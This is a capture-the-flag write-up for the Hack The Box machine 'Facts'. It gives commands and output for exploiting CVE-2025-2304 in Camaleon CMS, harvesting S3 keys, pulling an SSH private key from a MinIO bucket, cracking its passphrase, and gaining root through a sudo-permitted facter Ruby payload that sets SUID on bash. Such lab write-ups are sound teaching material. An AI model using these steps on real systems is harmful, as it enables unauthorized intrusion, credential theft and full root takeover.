πFacts
HTB Facts β Solution Notes
Platform: Hack The Box β Season 10 | Machine: Facts | OS: Linux (Ubuntu) | Difficulty: Easy | Vulnerability Type: Mass Assignment & sudo Misconfiguration
πΊοΈ Attack Chain
Nmap β /etc/hosts β facts.htb β Camaleon CMS v2.9.0 β Register β CVE-2025-2304 (admin escalation) β S3 credentials β MinIO bucket β SSH key + passphrase crack (dragonballz) β trivia SSH β sudo facter --custom-dir β ROOT
π§ How Does a Hacker Think? β Before You Begin
When starting a machine, the first question in your mind should be: "How wide is this system's exposed attack surface?" Only 2 ports are open in Nmap: SSH (22) and HTTP (80). This is a very narrow surface β which means the web application is everything. When you see HTTP, immediately ask: "Is this just a single page, or is there a full CMS behind it?" Versioned CMS software is a goldmine β find the version, search for CVEs, and there's your entry point. On this machine, Camaleon CMS v2.9.0 was the front door.
Port Scanning
Bash
nmap -sV -sC -p- --min-rate 5000 10.129.239.48
Findings:
| Port | Service | Details |
|------|---------|---------|
| 22/tcp | SSH | OpenSSH 9.9p1 Ubuntu |
| 80/tcp | HTTP | nginx 1.26.3 β redirects to facts.htb |
π‘ Why Does /etc/hosts Matter?
The HTTP server looks at the Host header of incoming requests to decide which site to serve. If you go directly to the IP, the server can't find the right virtual host. Nmap revealed this immediately: Did not follow redirect to http://facts.htb/ β that's the hint.
Bash
echo "10.129.239.48 facts.htb" | sudo tee -a /etc/hosts
Web Discovery
Browsing to http://facts.htb reveals a trivia website. The admin panel is accessible at /admin/login with a public registration option. Version confirmed at the bottom of the admin panel after login: Camaleon CMS β Version 2.9.0.
Bash
curl -s http://facts.htb/admin/login | grep -i "register"
π§ How Does a Hacker Think? β After Finding a Version Number
Once you find a software version, the first thing to do is: search CVE databases. Searching "Camaleon CMS 2.9.0 CVE" β CVE-2025-2304 β Authenticated privilege escalation to admin! This is a Mass Assignment vulnerability. The UsersController#updated_ajax method uses Rails' permit! which allows all parameters through without filtering. An authenticated user can pass role=admin in a profile update request and escalate themselves to admin β no password or invite required.
π‘ What is CVE-2025-2304?
In Camaleon CMS v2.9.0, the password update endpoint (/admin/users/updated_ajax) uses Rails' permit! method, which whitelists all parameters without restriction. An authenticated non-admin user can inject role=admin into a profile update request and escalate their own privileges to administrator. No special access or invite is required.
Step 1: Register an Account
Navigate to http://facts.htb/admin/register and create an account.
Step 2: Download and Run the Exploit
Bash
git clone https://github.com/Alien0ne/CVE-2025-2304.git /tmp/cve-2025-2304
python3 /tmp/cve-2025-2304/exploit.py \
-u http://facts.htb \
-U <your_username> \
-P <your_password> \
--newpass <your_password> \
-e -r
Output:
Plaintext
[+] Current User Role: client
[+] Updated User Role: admin
[+] Extracting S3 Credentials
s3 access key: AKIAD4696EAE68CF9B99
s3 secret key: HoBO0aqPaDyFqqrpXy5sVaFL5eDslpVZB1UlWc4C
s3 endpoint: http://localhost:54321
π§ How Does a Hacker Think? β From Credentials to SSH
We now have S3 credentials and a MinIO endpoint. MinIO is an S3-compatible object storage server. The endpoint says localhost:54321 but from outside the machine we reach it at facts.htb:54321. The question is: what's stored in these buckets? Developers often back up home directories, SSH keys, or config files to internal storage β and that's exactly what happened here.
Step 1: Install and Configure AWS CLI
Bash
apt install awscli -y
aws configure set aws_access_key_id AKIAD4696EAE68CF9B99
aws configure set aws_secret_access_key HoBO0aqPaDyFqqrpXy5sVaFL5eDslpVZB1UlWc4C
aws configure set default.region us-east-1
Step 2: List and Enumerate Buckets
Bash
aws --endpoint-url http://facts.htb:54321 s3 ls
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal --recursive
Findings: The listing reveals a full home directory backup. At the bottom: .ssh/authorized_keys and .ssh/id_ed25519.
Step 3: Download the Private Key
π‘ How Did We Know the Username Was trivia?
Two ways: 1) The machine is called "Facts" and runs a trivia facts website. HTB usernames almost always match the machine's theme. 2) Downloading .lesshst from the bucket reveals file paths like /home/trivia/... confirming the username.
Bash
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 /tmp/id_ed25519
chmod 600 /tmp/id_ed25519
Step 4: Crack the SSH Key Passphrase and Login
Bash
ssh2john /tmp/id_ed25519 > /tmp/facts_hash.txt
john /tmp/facts_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Result: dragonballz
ssh -i /tmp/id_ed25519 trivia@10.129.239.48
# User Flag: cat /home/william/user.txt
π§ How Does a Hacker Think? β The Path to Root
We're now trivia. Time for systematic enumeration for root. sudo -l is always the first check. Here it revealed: trivia can run /usr/bin/facter as root with no password. Facter is a Puppet tool for collecting system facts. It has a --custom-dir flag that loads custom Ruby .rb files as fact definitions. When we run it as root, those Ruby files execute as root. This is a textbook sudo misconfiguration.
π‘ What is Facter and Why Is This Dangerous?
Facter collects system facts and can be extended via the --custom-dir flag. When allowed via sudo NOPASSWD, an attacker can place any Ruby code in a .rb file, pass it as a custom fact directory, and have it execute as root.
Step 1: Check Sudo Privileges
Bash
sudo -l
# (ALL) NOPASSWD: /usr/bin/facter
Step 2: Create the Exploit Payload
Bash
mkdir /tmp/pwn
echo 'Facter.add(:x) { setcode { system("chmod +s /bin/bash") } }' > /tmp/pwn/x.rb
Step 3: Execute as Root and Spawn Root Shell
Bash
sudo /usr/bin/facter --custom-dir=/tmp/pwn x
bash -p
# Root Flag: cat /root/root.txt
π Concepts Learned
- Virtual Host Discovery: Nmap redirect header reveals the domain name
- Camaleon CMS RCE: CVE-2025-2304 β Mass Assignment via
permit!in Rails - MinIO / S3 Enumeration:
aws cliwith custom endpoint to enumerate internal storage - SSH Key Passphrase Cracking:
ssh2john+ John the Ripper against rockyou.txt - Facter sudo privesc:
-custom-dirloads arbitrary Ruby executed as root - HTB Username Themes: Machine name β app theme β username pattern
π General Hacker Mindset Summary
- Find the CMS version first: Version numbers unlock CVE databases β that's your entry point.
- Internal storage is never truly internal: Developers back up sensitive files (SSH keys, configs) to S3/MinIO thinking it's safe.
- Read the whole bucket: Don't just grab the obvious files β sync everything and read
.lesshst,.profile, and similar files for clues. - Machine theme = username hint: HTB usernames almost always reflect the machine's theme. "Facts" β
trivia. sudo -lis always the first check after shell access: Permission to run any binary as root is a potential privesc vector.- "Utility" binaries are dangerous with sudo: Tools like
facter,vim,python,tarall support loading external code β giving root if misconfigured.